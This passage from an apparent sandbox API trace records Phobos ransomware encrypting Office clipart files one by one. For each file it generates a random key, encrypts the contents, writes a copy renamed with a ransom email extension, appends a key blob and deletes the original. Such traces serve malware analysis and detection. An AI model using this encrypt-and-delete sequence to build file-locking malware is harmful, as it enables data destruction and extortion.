(hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.251] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1f6, lpOverlapped=0x0) returned 1 [0055.252] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x200, dwBufLen=0x200 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x200) returned 1 [0055.252] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x200, lpOverlapped=0x0) returned 1 [0055.253] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0055.253] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.253] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.253] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.253] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.253] CryptDestroyKey (hKey=0x10d170) returned 1 [0055.253] CloseHandle (hObject=0x308) returned 1 [0055.253] CloseHandle (hObject=0x31c) returned 1 [0055.254] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0055.255] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.255] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=12702) returned 1 [0055.255] CloseHandle (hObject=0x31c) returned 1 [0055.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0055.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.255] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.255] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.256] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb30) returned 1 [0055.256] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.256] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x319e, lpOverlapped=0x0) returned 1 [0055.393] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x31a0) returned 1 [0055.394] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x31a0, lpOverlapped=0x0) returned 1 [0055.395] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0055.395] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.395] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.395] CryptDestroyKey (hKey=0x10d170) returned 1 [0055.395] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.395] CryptDestroyKey (hKey=0x10cb30) returned 1 [0055.395] CloseHandle (hObject=0x31c) returned 1 [0055.395] CloseHandle (hObject=0x308) returned 1 [0055.396] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0055.397] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.397] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3140) returned 1 [0055.397] CloseHandle (hObject=0x308) returned 1 [0055.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0055.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.397] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.397] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.398] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0055.398] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.398] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xc44, lpOverlapped=0x0) returned 1 [0055.502] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc50, dwBufLen=0xc50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc50) returned 1 [0055.502] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xc50, lpOverlapped=0x0) returned 1 [0055.503] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cfb0) returned 1 [0055.503] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.503] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.503] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0055.503] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.503] CryptDestroyKey (hKey=0x10cab0) returned 1 [0055.503] CloseHandle (hObject=0x308) returned 1 [0055.504] CloseHandle (hObject=0x31c) returned 1 [0055.504] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0055.505] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.505] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=12482) returned 1 [0055.506] CloseHandle (hObject=0x31c) returned 1 [0055.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0055.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.506] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.506] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.506] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0055.506] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.506] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x30c2, lpOverlapped=0x0) returned 1 [0055.509] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30d0) returned 1 [0055.509] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x30d0, lpOverlapped=0x0) returned 1 [0055.510] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0055.511] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.511] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.511] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.511] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.511] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0055.511] CloseHandle (hObject=0x31c) returned 1 [0055.511] CloseHandle (hObject=0x308) returned 1 [0055.512] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0055.513] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.515] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=5253) returned 1 [0055.515] CloseHandle (hObject=0x308) returned 1 [0055.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0055.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.516] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc70) returned 1 [0055.516] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.516] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1485, lpOverlapped=0x0) returned 1 [0055.622] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1490, dwBufLen=0x1490 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1490) returned 1 [0055.622] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1490, lpOverlapped=0x0) returned 1 [0055.624] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0055.624] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.624] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.624] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0055.624] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.624] CryptDestroyKey (hKey=0x10cc70) returned 1 [0055.624] CloseHandle (hObject=0x308) returned 1 [0055.624] CloseHandle (hObject=0x31c) returned 1 [0055.625] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0055.626] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.626] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=10607) returned 1 [0055.626] CloseHandle (hObject=0x31c) returned 1 [0055.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0055.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.627] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.627] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0055.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.627] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0b0) returned 1 [0055.627] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.627] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x296f, lpOverlapped=0x0) returned 1 [0055.847] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2970, dwBufLen=0x2970 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2970) returned 1 [0055.848] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2970, lpOverlapped=0x0) returned 1 [0055.850] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0055.850] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0055.850] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0055.850] CryptDestroyKey (hKey=0x10cc70) returned 1 [0055.850] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0055.850] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0055.850] CloseHandle (hObject=0x31c) returned 1 [0055.850] CloseHandle (hObject=0x308) returned 1 [0055.851] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0055.852] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0055.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.863] GetFileSizeEx (in: hFile=0x320, 